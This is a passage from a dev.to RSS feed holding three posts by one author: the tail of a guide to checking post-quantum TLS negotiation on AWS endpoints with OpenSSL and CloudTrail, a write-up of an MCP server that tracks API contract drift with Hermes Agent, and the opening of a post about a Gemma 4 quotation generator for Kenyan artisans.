        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="nc"&gt;KmsAsyncClient&lt;/span&gt; &lt;span class="n"&gt;kms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;KmsAsyncClient&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;httpClient&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;crtClient&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="c1"&gt;// This call now negotiates X25519MLKEM768&lt;/span&gt;
&lt;span class="n"&gt;kms&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;listKeys&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Rust SDK uses rustls. Add the crate and turn on the &lt;code&gt;prefer-post-quantum&lt;/code&gt; feature flag, and the client offers ML-KEM automatically. Across every language the rule is the same: the endpoint is ready, but the algorithm only gets used if your client asks for it. Auditing client and SDK versions is the actual work.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Demo: See It on Your Own Connections
&lt;/h2&gt;

&lt;p&gt;You don't need an AWS account to watch a post-quantum handshake happen. You need OpenSSL 3.5 or later, which added &lt;code&gt;X25519MLKEM768&lt;/code&gt; as a default group. Check your version first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ openssl version
OpenSSL 3.5.7 9 Jun 2026
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now force the handshake to use only the hybrid group and look at what gets negotiated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ echo | openssl s_client -connect secretsmanager.us-east-1.amazonaws.com:443 \
    -groups X25519MLKEM768 2&amp;gt;/dev/null | grep "Negotiated TLS1.3 group"
Negotiated TLS1.3 group: X25519MLKEM768
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. The server accepted the post-quantum group and the handshake completed. I ran the same check across a handful of endpoints and every one came back post-quantum:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kms.us-east-1.amazonaws.com            Negotiated TLS1.3 group: X25519MLKEM768
acm.us-east-1.amazonaws.com            Negotiated TLS1.3 group: X25519MLKEM768
secretsmanager.us-east-1.amazonaws.com Negotiated TLS1.3 group: X25519MLKEM768
dynamodb.us-east-1.amazonaws.com       Negotiated TLS1.3 group: X25519MLKEM768
s3.amazonaws.com                       Negotiated TLS1.3 group: X25519MLKEM768
ec2.us-east-1.amazonaws.com            Negotiated TLS1.3 group: X25519MLKEM768
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's a small script to check your own list. Point it at any endpoint your workloads talk to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="c"&gt;# pq-check.sh: verify an endpoint negotiates post-quantum TLS&lt;/span&gt;
&lt;span class="c"&gt;# requires OpenSSL 3.5+&lt;/span&gt;

&lt;span class="nv"&gt;endpoints&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;
  kms.us-east-1.amazonaws.com
  secretsmanager.us-east-1.amazonaws.com
  s3.amazonaws.com
&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;ep &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;endpoints&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;group&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; | openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ep&lt;/span&gt;&lt;span class="s2"&gt;:443"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
            &lt;span class="nt"&gt;-groups&lt;/span&gt; X25519MLKEM768 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
          | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'s/^Negotiated TLS1.3 group: //p'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$group&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"X25519MLKEM768"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%-45s PQ-TLS ✓  (%s)\n'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ep&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$group&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'%-45s classical or handshake failed\n'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ep&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One caveat this demo hides: OpenSSL is not the client running in production. It proves the endpoint supports post-quantum. It says nothing about whether your application's SDK actually offered it. For that, you verify real traffic.&lt;/p&gt;

&lt;p&gt;Every API call to KMS, ACM, and Secrets Manager logs a &lt;code&gt;tlsDetails&lt;/code&gt; block in CloudTrail, and inside it is a &lt;code&gt;keyExchange&lt;/code&gt; field. When the connection used post-quantum TLS, it reads &lt;code&gt;X25519MLKEM768&lt;/code&gt;. Pull a recent event and check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cloudtrail lookup-events &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--lookup-attributes&lt;/span&gt; &lt;span class="nv"&gt;AttributeKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EventSource,AttributeValue&lt;span class="o"&gt;=&lt;/span&gt;secretsmanager.amazonaws.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--max-results&lt;/span&gt; 1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Events[0].CloudTrailEvent'&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text &lt;span class="se"&gt;\&lt;/span&gt;
  | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import json,sys; e=json.load(sys.stdin); print(e.get("tlsDetails"))'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If that field comes back &lt;code&gt;X25519MLKEM768&lt;/code&gt;, your real client negotiated post-quantum. If it shows &lt;code&gt;X25519&lt;/code&gt; or a P-curve while OpenSSL said the endpoint supports it, something between your app and AWS downgraded the connection. That's the signal to go looking, and it usually points at one thing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxp258n7d9h4vcnrle7rg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxp258n7d9h4vcnrle7rg.png" alt="Demo" width="800" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Silent Failure Mode: Middleboxes
&lt;/h2&gt;

&lt;p&gt;The most common reason a post-quantum handshake quietly falls back to classical is a middlebox. Some deep-packet-inspection firewalls, load balancers, and proxies choke on the larger ClientHello or on TLS extensions they don't recognize. They either drop the connection or strip it down to something they understand.&lt;/p&gt;

&lt;p&gt;The hybrid handshake is bigger for a reason. Moving from ECDH-only to ECDH plus ML-KEM adds roughly 1,600 bytes to the handshake and 80 to 150 microseconds of extra compute for the ML-KEM operations. That's a one-time cost at connection setup. But 1,600 extra bytes is enough to trip a poorly written middlebox that assumed handshakes fit in one packet.&lt;/p&gt;

&lt;p&gt;This is why the CloudTrail check matters more than the OpenSSL check. Your endpoint can be ready, your SDK can be current, and a firewall in the middle can still be handing you classical crypto without a single error in your logs. Better to catch that in a query today than in an audit three years from now.&lt;/p&gt;

&lt;h2&gt;
  
  
  "But What About Performance?"
&lt;/h2&gt;

&lt;p&gt;The reflexive worry with any crypto change is latency. Post-quantum key exchanges are bigger, and bigger sounds slower.&lt;/p&gt;

&lt;p&gt;Here are AWS's published numbers, measured against KMS &lt;code&gt;GenerateDataKey&lt;/code&gt; from an EC2 client in the same Region:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;With TLS connection reuse&lt;/strong&gt; (the SDK default): throughput went from 216.1 to 216.0 transactions per second. A 0.05 percent difference. Noise.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Without connection reuse&lt;/strong&gt; (a fresh handshake for every request, which you should never do): throughput dropped from 108.7 to 106.2 TPS, about 2.3 percent, and that's the pathological worst case.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you reuse connections, and every well-configured SDK does by default, enabling post-quantum TLS is effectively free. The larger handshake is a startup cost paid once per connection, then amortized across every request on it. The "it'll slow us down" objection doesn't survive contact with the measurements.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to Actually Do This Week
&lt;/h2&gt;

&lt;p&gt;You don't need a quantum computer to act, and you don't need a six-month project either.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run &lt;code&gt;pq-check.sh&lt;/code&gt; against the endpoints your workloads hit.&lt;/strong&gt; Ten minutes tells you which servers are ready. Most AWS endpoints already are.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade the easy wins.&lt;/strong&gt; Workload Credentials Provider (formerly Secrets Manager Agent), Lambda extension, or CSI Driver on their current major versions turn on post-quantum TLS with zero code change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable the flag where it's opt-in&lt;/strong&gt;, like &lt;code&gt;postQuantumTlsEnabled(true)&lt;/code&gt; on the Java CRT client or &lt;code&gt;prefer-post-quantum&lt;/code&gt; in Rust.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify real traffic with CloudTrail.&lt;/strong&gt; Check &lt;code&gt;tlsDetails.keyExchange&lt;/code&gt; reads &lt;code&gt;X25519MLKEM768&lt;/code&gt;. If it doesn't while the endpoint supports it, hunt the middlebox.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prioritize by data lifetime.&lt;/strong&gt; Traffic carrying data that must stay secret for years is where harvest-now-decrypt-later actually bites. Migrate that first.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The quantum computer that breaks P-256 isn't here. The adversary recording your handshakes so they can decrypt them when it arrives might already be. The defense costs you a client upgrade and, in the best case, nothing else. A real threat, a cheap fix, and a vendor that already did the hard part. The only way to lose is to leave it off.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Sources: *&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;AWS Security Blog, "ML-KEM post-quantum TLS now supported in AWS KMS, ACM, and Secrets Manager" (April 2025); &lt;/p&gt;

&lt;p&gt;AWS Security Blog, "Protecting your secrets from tomorrow's quantum risks" (April 2026); &lt;/p&gt;

&lt;p&gt;NIST FIPS 203. OpenSSL handshake output and endpoint results were captured live with OpenSSL 3.5.7. &lt;/p&gt;

&lt;p&gt;Benchmark figures are AWS-published measurements for KMS GenerateDataKey and vary with instance type, workload, and network path.&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>cloud</category>
    </item>
    <item>
      <title>I taught Hermes Agent to predict which API changes will break my system</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 31 May 2026 17:30:59 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-taught-hermes-agent-to-predict-which-api-changes-will-break-my-system-558f</link>
      <guid>https://dev.to/lewisawe/i-taught-hermes-agent-to-predict-which-api-changes-will-break-my-system-558f</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hermes-agent-2026-05-15"&gt;Hermes Agent Challenge&lt;/a&gt;: Build With Hermes Agent&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Drift Detective is an MCP server that turns Hermes Agent into an API contract mutation tracker. It probes your microservices on a cron schedule, stores response shapes (fields, types, nesting depth), and classifies changes when they happen: additive, breaking, or cosmetic.&lt;/p&gt;

&lt;p&gt;The interesting part: it learns. After you mark a few changes as "safe" or "breaking," it starts predicting. Week one it's noisy. Week three it knows that your payments service adding nullable fields is always fine, but your auth service changing any field name will break downstream consumers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/Tzjd5ArOpiA"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;The demo runs against a local API server with four mutation stages:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 1 (baseline):&lt;/strong&gt; Agent records the shape of &lt;code&gt;/api/users&lt;/code&gt;, &lt;code&gt;/api/payments&lt;/code&gt;, &lt;code&gt;/api/health&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 2 (additive change):&lt;/strong&gt; New fields appear. Agent flags them as low-urgency additive drift. I mark them "safe."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 3 (breaking change):&lt;/strong&gt; Fields get renamed and removed. Agent flags these as high-urgency breaking drift. I mark them "breaking."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 4 (prediction fires):&lt;/strong&gt; More fields get removed. This time the agent predicts "likely breaking" before I say anything. It recognized the removal pattern from my stage 3 feedback.&lt;/p&gt;

&lt;p&gt;After a few interactions the alert quality is visibly different from probe 1. That's the whole point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/drift-detective" rel="noopener noreferrer"&gt;
        drift-detective
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Drift Detective&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;API contract mutation tracker that learns what breaks things.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Drift Detective probes your APIs on a schedule, stores response shapes, detects structural changes, and classifies them. It learns YOUR system's patterns from your feedback. Alerts get smarter, not noisier.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;What It Does&lt;/h2&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Probes&lt;/strong&gt; API endpoints, extracts JSON response shape (field names, types, nesting)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detects&lt;/strong&gt; shape changes between probes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Classifies&lt;/strong&gt; changes: additive (new field) or breaking (removed/renamed/type-changed)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learns&lt;/strong&gt; from your feedback. Mark changes as "safe" or "breaking" and it remembers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Predicts&lt;/strong&gt; future changes using accumulated knowledge&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Hermes Features Used&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;How&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MCP Server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Custom stdio server providing probe/classify/learn tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cron Scheduler&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Periodic endpoint probing, no manual intervention&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Persistent Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Endpoints, shapes, and learned patterns survive across sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Learning Loop / Skills&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Writes skill docs about your system's change patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AGENTS.md Context&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defines alert behavior and classification rules&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Demo Walkthrough&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;1. Start the demo API&lt;/h3&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;python demo/api_server.py&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Local API with…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/drift-detective" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  My Tech Stack
&lt;/h3&gt;

&lt;p&gt;Drift Detective's stack:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Python 3.11+ (runtime)&lt;/li&gt;
&lt;li&gt;MCP SDK (mcp&amp;gt;=1.0.0) for the stdio server protocol&lt;/li&gt;
&lt;li&gt;httpx for probing API endpoints&lt;/li&gt;
&lt;li&gt;SQLite for persistence (shapes, history, learned patterns)&lt;/li&gt;
&lt;li&gt;Hermes Agent as the orchestrator (MCP client, cron, memory)&lt;/li&gt;
&lt;li&gt;Demo API: stdlib http.server (no dependencies)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How I Used Hermes Agent
&lt;/h2&gt;

&lt;p&gt;This isn't a wrapper that calls the LLM once. Five Hermes capabilities do actual work here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MCP Server (custom stdio):&lt;/strong&gt; The core engine. Five tools: &lt;code&gt;probe_endpoint&lt;/code&gt;, &lt;code&gt;list_endpoints&lt;/code&gt;, &lt;code&gt;get_drift_history&lt;/code&gt;, &lt;code&gt;record_verdict&lt;/code&gt;, &lt;code&gt;get_learned_patterns&lt;/code&gt;. All state lives in SQLite. The agent reasons about when and how to call them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cron Scheduler:&lt;/strong&gt; Fires every 30 minutes (configurable). The agent probes all registered endpoints, compares shapes, and delivers a report to Telegram/Discord/wherever you talk to it. No human in the loop for routine checks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Persistent Memory:&lt;/strong&gt; Endpoint registry, shape history, and learned patterns survive across sessions. The agent picks up where it left off even after a restart.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learning Loop / Skills:&lt;/strong&gt; When the agent accumulates enough feedback, it writes a skill document describing your system's change patterns. That skill loads into future sessions, giving the agent prior context before it even runs a probe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AGENTS.md Context:&lt;/strong&gt; Defines classification rules, alert urgency levels, and when to include predictions vs. ask for feedback. Shapes the agent's behavior without touching code.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Works (Technical)
&lt;/h2&gt;

&lt;p&gt;The MCP server extracts a structural "shape" from any JSON response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Alice&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;total&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$.total         → integer
$.users[]       → array
$.users[].id    → integer  
$.users[].name  → string
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a shape changes, the diff engine classifies each field-level change:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New field added → &lt;code&gt;additive&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Field removed or renamed → &lt;code&gt;breaking&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Type changed (string→integer) → &lt;code&gt;breaking&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The learning system stores verdicts keyed by endpoint + change category. After one verdict for a pattern, predictions fire on the next similar change. It generalizes: if "removed field: name" was breaking, then "removed field: email" on the same endpoint gets the same prediction. The patterns are simple and domain-specific, so one data point is enough to be useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd Build Next
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Webhook mode: listen for deploy events from CI/CD, probe immediately after deploys&lt;/li&gt;
&lt;li&gt;Consumer registry: know which downstream services depend on which fields, route alerts accordingly&lt;/li&gt;
&lt;li&gt;Schema diffing beyond JSON: gRPC protobuf changes, GraphQL schema introspection&lt;/li&gt;
&lt;li&gt;Multi-endpoint correlation: "every time auth-service changes, payments-service breaks 2 hours later"&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/lewisawe/drift-detective" rel="noopener noreferrer"&gt;GitHub link&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;drift-detective/
├── mcp_server/server.py          # MCP server with probe/classify/learn tools
├── demo/api_server.py            # Mutable demo API
├── skills/drift-detective-patterns.md
├── AGENTS.md
└── pyproject.toml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Install: &lt;code&gt;pip install -e .&lt;/code&gt;, add the MCP config to &lt;code&gt;~/.hermes/config.yaml&lt;/code&gt;, done.&lt;/p&gt;

</description>
      <category>hermesagentchallenge</category>
      <category>devchallenge</category>
      <category>agents</category>
    </item>
    <item>
      <title>I Built a Quotation Generator for Kenyan Street Welders Using Gemma 4's Vision</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 24 May 2026 23:11:19 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-built-a-quotation-generator-for-kenyan-street-welders-using-gemma-4s-vision-2eb5</link>
      <guid>https://dev.to/lewisawe/i-built-a-quotation-generator-for-kenyan-street-welders-using-gemma-4s-vision-2eb5</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-gemma-2026-05-06"&gt;Gemma 4 Challenge: Build with Gemma 4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;A customer walks up to a welder in Nairobi with a Pinterest screenshot. "I want this gate. How much?"&lt;/p&gt;

&lt;p&gt;The welder squints at the phone. Does mental math. Guesses a number. Scribbles it on a scrap of cardboard. No material breakdown. No line items. The customer walks away and finds someone who looks more professional.&lt;/p&gt;

&lt;p&gt;This happens thousands of times a day across Kenya's jua kali sector. "Jua kali" translates to "hot sun." It's what we call the 15 million informal artisans who build gates, furniture, window frames, and cabinets outdoors. They're skilled fabricators who lose work because they can't produce a quote on the spot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jua Kali Quote&lt;/strong&gt; fixes this. Photograph whatever the customer shows you: a sketch on paper, a screenshot from Instagram, a photo of their neighbor's gate. Gemma 4 looks at the image, figures out what needs to be built, and generates a full quotation with materials, quantities, and pricing in Kenyan Shillings.&lt;/p&gt;

&lt;p&gt;The fundi taps any line item to adjust a price they know better. The totals recalculate live. They hit "Share on WhatsApp," and the customer has a professional quote in their chat. The whole interaction takes under a minute.&lt;/p&gt;

&lt;p&gt;Every quote is saved locally, so the fundi builds a history of past jobs they can reference for repeat customers or similar work.&lt;/p&gt;

&lt;p&gt;A confidence indicator tells them upfront: "materials ±15%, labor ±20%." Honest about what's an estimate and what's exact.&lt;/p&gt;

&lt;p&gt;It handles welding, carpentry, masonry, plumbing, electrical, and painting jobs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/nEMibjCr4Ok"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/jua-kali" rel="noopener noreferrer"&gt;
        jua-kali
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
